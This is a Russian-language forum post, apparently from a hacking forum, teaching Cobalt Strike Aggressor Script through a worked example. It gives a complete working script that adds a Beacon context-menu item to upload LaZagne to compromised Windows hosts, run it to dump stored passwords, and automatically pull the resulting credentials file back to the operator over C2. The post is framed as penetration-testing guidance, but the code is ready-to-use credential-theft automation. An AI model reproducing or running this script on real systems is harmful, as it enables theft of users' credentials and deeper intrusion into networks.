- Регистрация
- 20.01.2011
- Сообщения
- 7,665
- Розыгрыши
- 0
- Реакции
- 135
Введение
Cobalt Strike — это профессиональный инструмент для проведения тестов на проникновение (penetration testing) и моделирования действий злоумышленников (adversary simulation).Основной функцией Cobalt Strike является возможность создавать Beacon'ы - асинхронные пост-эксплуатационный агенты, которые могут осуществлять команды управления и контроля (C2), обеспечивая связь между атакующим и скомпрометированными системами.
Что такое Aggressor Script
Aggressor Script — это мощный инструмент, разработанный для расширения функциональности Cobalt Strike и автоматизации различных задач в процессе тестирования на проникновение. Он позволяет пользователям Cobalt Strike писать свои скрипты на языке Для просмотра ссылки Войди
Основные элементы Aggressor Script
Для просмотра ссылки ВойдиДля просмотра ссылки Войди
Для просмотра ссылки Войди

В целом, изучение этих разделов достаточно, чтобы писать полезные инструменты для автоматизации некоторых процессов. Более подробную информацию, как всегда, можно получить из Для просмотра ссылки Войди
Написание простого скрипта
Таким образом, базовая схема скрипта выглядит так:- Создаём какой-либо Event хэндлер
- Обрабатываем его через вызов функций из раздела Functions
- Создаём Popup Hook на какой либо элемент интерфейса
- Обрабатываем его через вызов функций из раздела Functions
Автоматизация запуска LaZagne
Для просмотра ссылки ВойдиДля начала необходимо создать скриптовый файл с расширением .cna и поместить в одну директорию с ним исполняемый файл LaZagne.
Функционал скрипта
Скрипт должен спрашивать у оператора путь, по которому необходимо загрузить исполняемый файл LaZagne, а также параметры для запуска утилиты. Вызываться скрипт будет через выбор необходимых Beacon'ов и вызов контекстного меню (при помощи Popup Hook beacon_bottom).Загрузка утилиты и её запуск
Для начала необходимо создать кнопку в контекстном меню при выделении Beacon'ов:
Код:
popup beacon_bottom {
item "Run LaZagne" {
}
}

Видно, что появился новый элемент интерфейса:

Пока он ничего не делает, а должен при нажатии выводить диалог для ввода абсолютного пути. Это можно осуществить используя функцию prompt_text. Она принимает следующие аргументы:
Код:
$1 - текст диалога
$2 - значение по-умолчанию в поле ввода
$3 - callback функция. Будет вызвана когда оператор подтвердит ввод, первым переданным callback функции аргументом будет текст из поля ввода
Попросим оператора ввести путь и загрузим туда LaZagne:
Код:
prompt_text("Enter writable path to upload LaZagne", "C:\\Windows\\Tasks", lambda({
$writable_path = $1;
bcd(@beacons, $writable_path);
bupload(@beacons, script_resource("LaZagne.exe"));
}));
- Скрипт просит оператора ввести абсолютный путь

- После подтверждения загружает утилиту по этому пути

Теперь попросим оператора ввести параметры и запустим утилиту:
Код:
prompt_text("Enter writable path to upload LaZagne", "C:\\Windows\\Tasks", lambda({
$writable_path = $1;
prompt_text("Enter LaZagne params", "all", lambda({
$params = $1;
bcd(@beacons, $writable_path);
bupload(@beacons, script_resource("LaZagne.exe"));
bshell(@beacons, $writable_path . "\\" . "LaZagne.exe " . $params . " -oN");
}));
}));

Сбор результатов
Теперь, когда утилита завершила свою работу, она сообщила об этом в консоль Beacon'а. Можно создать Event хэндлерbeacon_output
, который отлавливает это событие и, если был найден текст [+] File written: .\credentials_*_*.txt
, собрать файл с результатами.Создание event-хэндлера:
Код:
on beacon_output {
$beacon_id = $1;
$message = $2;
}
Код:
if ($message hasmatch '\[\+\] File written: \.\\\(credentials_\d+_\d+\.txt)') {
$filename = matched()[0];
}
bdownload
:
Код:
bdownload($beacon_id, $filename);

Файл с результатами появился в разделе Downloads:

Исходный код скрипта:
Код:
popup beacon_bottom {
@beacons = $1;
item "Run LaZagne" {
prompt_text("Enter writable path to upload LaZagne", "C:\\Windows\\Tasks", lambda({
$writable_path = $1;
prompt_text("Enter LaZagne params", "all", lambda({
$params = $1;
bcd(@beacons, $writable_path);
bupload(@beacons, script_resource("LaZagne.exe"));
bshell(@beacons, $writable_path . "\\" . "LaZagne.exe " . $params . " -oN");
}));
}));
}
}
on beacon_output {
$beacon_id = $1;
$message = $2;
if ($message hasmatch '\[\+\] File written: \.\\\(credentials_\d+_\d+\.txt)') {
$filename = matched()[0];
bdownload($beacon_id, $filename);
}
}
Заключение
В данной статье рассмотрено простейшее использование агрессор-скриптов для Cobalt Strike. Надеемся, что материал станет источником вдохновения и поможет в создании собственных инструментов для кастомизации функционала данного C2 фреймворка.by: @0f6m